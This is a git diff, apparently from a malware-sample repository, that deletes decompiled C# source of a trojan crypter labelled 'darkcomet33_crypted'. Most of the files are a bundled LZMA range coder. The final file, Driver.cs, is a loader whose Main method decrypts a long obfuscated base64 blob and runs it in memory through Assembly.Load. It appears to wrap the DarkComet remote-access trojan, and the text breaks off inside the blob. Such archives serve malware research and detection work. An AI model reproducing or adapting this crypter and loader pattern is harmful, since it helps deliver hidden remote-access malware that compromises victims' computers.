(object) SevenZipHelper.dictionary, - (object) 2, - (object) 3, - (object) 0, - (object) 2, - (object) 128, - (object) "bt4", - (object) SevenZipHelper.eos - }; - - public static byte[] Compress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - MemoryStream outStream = new MemoryStream(); - Encoder encoder = new Encoder(); - encoder.SetCoderProperties(SevenZipHelper.propIDs, SevenZipHelper.properties); - encoder.WriteCoderProperties((Stream) outStream); - long length = inStream.Length; - for (int index = 0; index < 8; ++index) - outStream.WriteByte((byte) (length >> 8 * index)); - encoder.Code((Stream) inStream, (Stream) outStream, -1L, -1L, (ICodeProgress) null); - return outStream.ToArray(); - } - - public static byte[] Decompress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - Decoder decoder = new Decoder(); - inStream.Seek(0L, SeekOrigin.Begin); - MemoryStream outStream = new MemoryStream(); - byte[] numArray = new byte[5]; - if (inStream.Read(numArray, 0, 5) != 5) - throw new Exception("input .lzma is too short"); - long outSize = 0; - for (int index = 0; index < 8; ++index) - { - int num = inStream.ReadByte(); - if (num < 0) - throw new Exception("Can't Read 1"); - outSize |= (long) (byte) num << 8 * index; - } - decoder.SetDecoderProperties(numArray); - long inSize = inStream.Length - inStream.Position; - decoder.Code((Stream) inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null); - return outStream.ToArray(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitDecoder.cs deleted file mode 100644 index 6a59df21..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitDecoder.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitDecoder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitDecoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private uint Prob; - - public void UpdateModel(int numMoveBits, uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> numMoveBits; - else - this.Prob -= this.Prob >> numMoveBits; - } - - public void Init() => this.Prob = 1024U; - - public uint Decode(Decoder rangeDecoder) - { - uint num = (rangeDecoder.Range >> 11) * this.Prob; - if (rangeDecoder.Code < num) - { - rangeDecoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 0; - } - rangeDecoder.Range -= num; - rangeDecoder.Code -= num; - this.Prob -= this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 1; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitEncoder.cs deleted file mode 100644 index 28f3e735..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitEncoder.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitEncoder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitEncoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private const int kNumMoveReducingBits = 2; - public const int kNumBitPriceShiftBits = 6; - private uint Prob; - private static uint[] ProbPrices = new uint[new IntPtr(512)]; - - public void Init() => this.Prob = 1024U; - - public void UpdateModel(uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> 5; - else - this.Prob -= this.Prob >> 5; - } - - public void Encode(Encoder encoder, uint symbol) - { - uint num = (encoder.Range >> 11) * this.Prob; - if (symbol == 0U) - { - encoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - } - else - { - encoder.Low += (ulong) num; - encoder.Range -= num; - this.Prob -= this.Prob >> 5; - } - if (encoder.Range >= 16777216U) - return; - encoder.Range <<= 8; - encoder.ShiftLow(); - } - - static BitEncoder() - { - for (int index1 = 8; index1 >= 0; --index1) - { - uint num1 = (uint) (1 << 9 - index1 - 1); - uint num2 = (uint) (1 << 9 - index1); - for (uint index2 = num1; index2 < num2; ++index2) - BitEncoder.ProbPrices[(IntPtr) index2] = (uint) (index1 << 6) + ((uint) ((int) num2 - (int) index2 << 6) >> 9 - index1 - 1); - } - } - - public uint GetPrice(uint symbol) => BitEncoder.ProbPrices[(((long) (this.Prob - symbol) ^ (long) -(int) symbol) & 2047L) >> 2]; - - public uint GetPrice0() => BitEncoder.ProbPrices[(IntPtr) (this.Prob >> 2)]; - - public uint GetPrice1() => BitEncoder.ProbPrices[(IntPtr) (2048U - this.Prob >> 2)]; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitTreeDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitTreeDecoder.cs deleted file mode 100644 index bd00d761..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitTreeDecoder.cs +++ /dev/null @@ -1,66 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeDecoder - { - private BitDecoder[] Models; - private int NumBitLevels; - - public BitTreeDecoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitDecoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public uint Decode(Decoder rangeDecoder) - { - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder); - return index - (uint) (1 << this.NumBitLevels); - } - - public uint ReverseDecode(Decoder rangeDecoder) - { - uint index1 = 1; - uint num1 = 0; - for (int index2 = 0; index2 < this.NumBitLevels; ++index2) - { - uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder); - index1 = (index1 << 1) + num2; - num1 |= num2 << index2; - } - return num1; - } - - public static uint ReverseDecode( - BitDecoder[] Models, - uint startIndex, - Decoder rangeDecoder, - int NumBitLevels) - { - uint num1 = 1; - uint num2 = 0; - for (int index = 0; index < NumBitLevels; ++index) - { - uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder); - num1 = (num1 << 1) + num3; - num2 |= num3 << index; - } - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitTreeEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitTreeEncoder.cs deleted file mode 100644 index 523949d0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/BitTreeEncoder.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeEncoder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeEncoder - { - private BitEncoder[] Models; - private int NumBitLevels; - - public BitTreeEncoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitEncoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public void Encode(Encoder rangeEncoder, uint symbol) - { - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - this.Models[(IntPtr) index].Encode(rangeEncoder, symbol1); - index = index << 1 | symbol1; - } - } - - public void ReverseEncode(Encoder rangeEncoder, uint symbol) - { - uint index1 = 1; - for (uint index2 = 0; (long) index2 < (long) this.NumBitLevels; ++index2) - { - uint symbol1 = symbol & 1U; - this.Models[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - symbol >>= 1; - } - } - - public uint GetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = (index << 1) + symbol1; - } - return price; - } - - public uint ReverseGetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = index << 1 | symbol1; - } - return price; - } - - public static uint ReverseGetPrice( - BitEncoder[] Models, - uint startIndex, - int NumBitLevels, - uint symbol) - { - uint price = 0; - uint num = 1; - for (int index = NumBitLevels; index > 0; --index) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += Models[(IntPtr) (startIndex + num)].GetPrice(symbol1); - num = num << 1 | symbol1; - } - return price; - } - - public static void ReverseEncode( - BitEncoder[] Models, - uint startIndex, - Encoder rangeEncoder, - int NumBitLevels, - uint symbol) - { - uint num = 1; - for (int index = 0; index < NumBitLevels; ++index) - { - uint symbol1 = symbol & 1U; - Models[(IntPtr) (startIndex + num)].Encode(rangeEncoder, symbol1); - num = num << 1 | symbol1; - symbol >>= 1; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/Decoder.cs deleted file mode 100644 index 658c2aa2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/Decoder.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Decoder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Decoder - { - public const uint kTopValue = 16777216; - public uint Range; - public uint Code; - public Stream Stream; - - public void Init(Stream stream) - { - this.Stream = stream; - this.Code = 0U; - this.Range = uint.MaxValue; - for (int index = 0; index < 5; ++index) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void CloseStream() => this.Stream.Close(); - - public void Normalize() - { - for (; this.Range < 16777216U; this.Range <<= 8) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void Normalize2() - { - if (this.Range >= 16777216U) - return; - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - this.Range <<= 8; - } - - public uint GetThreshold(uint total) => this.Code / (this.Range /= total); - - public void Decode(uint start, uint size, uint total) - { - this.Code -= start * this.Range; - this.Range *= size; - this.Normalize(); - } - - public uint DecodeDirectBits(int numTotalBits) - { - uint range = this.Range; - uint num1 = this.Code; - uint num2 = 0; - for (int index = numTotalBits; index > 0; --index) - { - range >>= 1; - uint num3 = num1 - range >> 31; - num1 -= range & num3 - 1U; - num2 = (uint) ((int) num2 << 1 | 1 - (int) num3); - if (range < 16777216U) - { - num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte(); - range <<= 8; - } - } - this.Range = range; - this.Code = num1; - return num2; - } - - public uint DecodeBit(uint size0, int numTotalBits) - { - uint num1 = (this.Range >> numTotalBits) * size0; - uint num2; - if (this.Code < num1) - { - num2 = 0U; - this.Range = num1; - } - else - { - num2 = 1U; - this.Code -= num1; - this.Range -= num1; - } - this.Normalize(); - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/Encoder.cs deleted file mode 100644 index 8b97c1ce..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/RangeCoder/Encoder.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Encoder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Encoder - { - public const uint kTopValue = 16777216; - private Stream Stream; - public ulong Low; - public uint Range; - private uint _cacheSize; - private byte _cache; - private long StartPosition; - - public void SetStream(Stream stream) => this.Stream = stream; - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void Init() - { - this.StartPosition = this.Stream.Position; - this.Low = 0UL; - this.Range = uint.MaxValue; - this._cacheSize = 1U; - this._cache = (byte) 0; - } - - public void FlushData() - { - for (int index = 0; index < 5; ++index) - this.ShiftLow(); - } - - public void FlushStream() => this.Stream.Flush(); - - public void CloseStream() => this.Stream.Close(); - - public void Encode(uint start, uint size, uint total) - { - this.Low += (ulong) (start * (this.Range /= total)); - this.Range *= size; - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public void ShiftLow() - { - if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U) - { - byte num = this._cache; - do - { - this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32))); - num = byte.MaxValue; - } - while (--this._cacheSize != 0U); - this._cache = (byte) ((uint) this.Low >> 24); - } - ++this._cacheSize; - this.Low = (ulong) ((uint) this.Low << 8); - } - - public void EncodeDirectBits(uint v, int numTotalBits) - { - for (int index = numTotalBits - 1; index >= 0; --index) - { - this.Range >>= 1; - if (((int) (v >> index) & 1) == 1) - this.Low += (ulong) this.Range; - if (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - } - - public void EncodeBit(uint size0, int numTotalBits, uint symbol) - { - uint num = (this.Range >> numTotalBits) * size0; - if (symbol == 0U) - { - this.Range = num; - } - else - { - this.Low += (ulong) num; - this.Range -= num; - } - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/DataErrorException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/DataErrorException.cs deleted file mode 100644 index 521d780c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/DataErrorException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.DataErrorException -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; - -namespace SevenZip -{ - internal class DataErrorException : ApplicationException - { - public DataErrorException() - : base("Data Error") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ICodeProgress.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ICodeProgress.cs deleted file mode 100644 index e09aae34..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ICodeProgress.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICodeProgress -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -namespace SevenZip -{ - public interface ICodeProgress - { - void SetProgress(long inSize, long outSize); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ICoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ICoder.cs deleted file mode 100644 index 5edd745f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ICoder.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICoder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System.IO; - -namespace SevenZip -{ - public interface ICoder - { - void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ISetCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ISetCoderProperties.cs deleted file mode 100644 index d16aabf9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ISetCoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetCoderProperties -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -namespace SevenZip -{ - public interface ISetCoderProperties - { - void SetCoderProperties(CoderPropID[] propIDs, object[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ISetDecoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ISetDecoderProperties.cs deleted file mode 100644 index 6b5a1f86..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/ISetDecoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetDecoderProperties -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -namespace SevenZip -{ - public interface ISetDecoderProperties - { - void SetDecoderProperties(byte[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/IWriteCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/IWriteCoderProperties.cs deleted file mode 100644 index 59196c9d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/IWriteCoderProperties.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.IWriteCoderProperties -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System.IO; - -namespace SevenZip -{ - public interface IWriteCoderProperties - { - void WriteCoderProperties(Stream outStream); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/InvalidParamException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/InvalidParamException.cs deleted file mode 100644 index e56a3d44..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/InvalidParamException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.InvalidParamException -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; - -namespace SevenZip -{ - internal class InvalidParamException : ApplicationException - { - public InvalidParamException() - : base("Invalid Parameter") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/SysDriver/Driver.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/SysDriver/Driver.cs deleted file mode 100644 index 4afa3844..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/SysDriver/Driver.cs +++ /dev/null @@ -1,97 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SysDriver.Driver -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using SevenZip.Compression.LZMA; -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; -using System.Text; - -namespace SysDriver -{ - internal class Driver - { - private static void Main(string[] args) - { - Assembly Fe97Kkc5XMg68 = Assembly.Load(Driver.Jg76HdWc5n3STr8i4L2Mfo9XYm85Qs("XH5KZ7KMbrtEXotRUoAAJvT3lI53jwLznNSFkhIgKRENA5V94waJqslvKHh66sRavWbPSaLiWHfRy5rrZqQyBJN0wGAA9CeKcTcatVwLpNi0nY8DD3P+xbMQ0kSO882AwtVZUFxkQfSpxknJSP6ts2DPwkRX6jsviQ+Z60FRYD9Irz/NWB/iIHBx6OoX2+maephfgKeyqc8F8diFHgObMd3FoKVlCjFM+pffg2+Nb1d7ivFZi2Z/sbk70Pwr7paagB2HsjhruJROzhFvUGGamsad0m+oocZporicxbLJfDxzp7b+kBWNWs4LacPNsofSuCHngFTaoYNy+BW5Z8DLV//tFXlE88xTNTi87pKsyIxeB6Zsro9ccV0Yn8A4Vkom4nnTgjo0EbgkOcHWF8l681J5Flzr9hh53VrsTQ8VUu5vNx+tGEtpiKxEQE6GA3JNO8lO0XQ0CHR3LtfP40J0+Uw8qUXIDAXYaC/eG0tUkVl7ELyFPPhbJYxLSGcFbnzlXcBVcQmFWJZRuR3jKr+QAgH5iBHr71LkC2YI3iF5YAiAFHxxySzwKYoSS9gY2KkwWPLEl4UdUZ+0qV/ESsDz4y3gzzP7CU6sGHfHyPH+KAzS182f3Tjfp43UYlUwpdJ0Osz4HbQyS7PYeld8wHEQrnR8xlD27PwoHoLht/xkM5BWgCueBCBkOFOarTDG166Eu9zbN2IMGoxYSrevEJw97QHmVplcQjCJawVmc4xLs2qTZftw8naV883XjJiI1vxQ5q87zlfEEa6eOU8LZ1MvNL7i+OOL+CQYIZlnVuQBESKvrWu6TEq3MiQ/QqgObZhOKBxt4cWDLPBD+G2LGkCZzy0g12MoFQiMazJ69AvkKaLUg+MXu3lr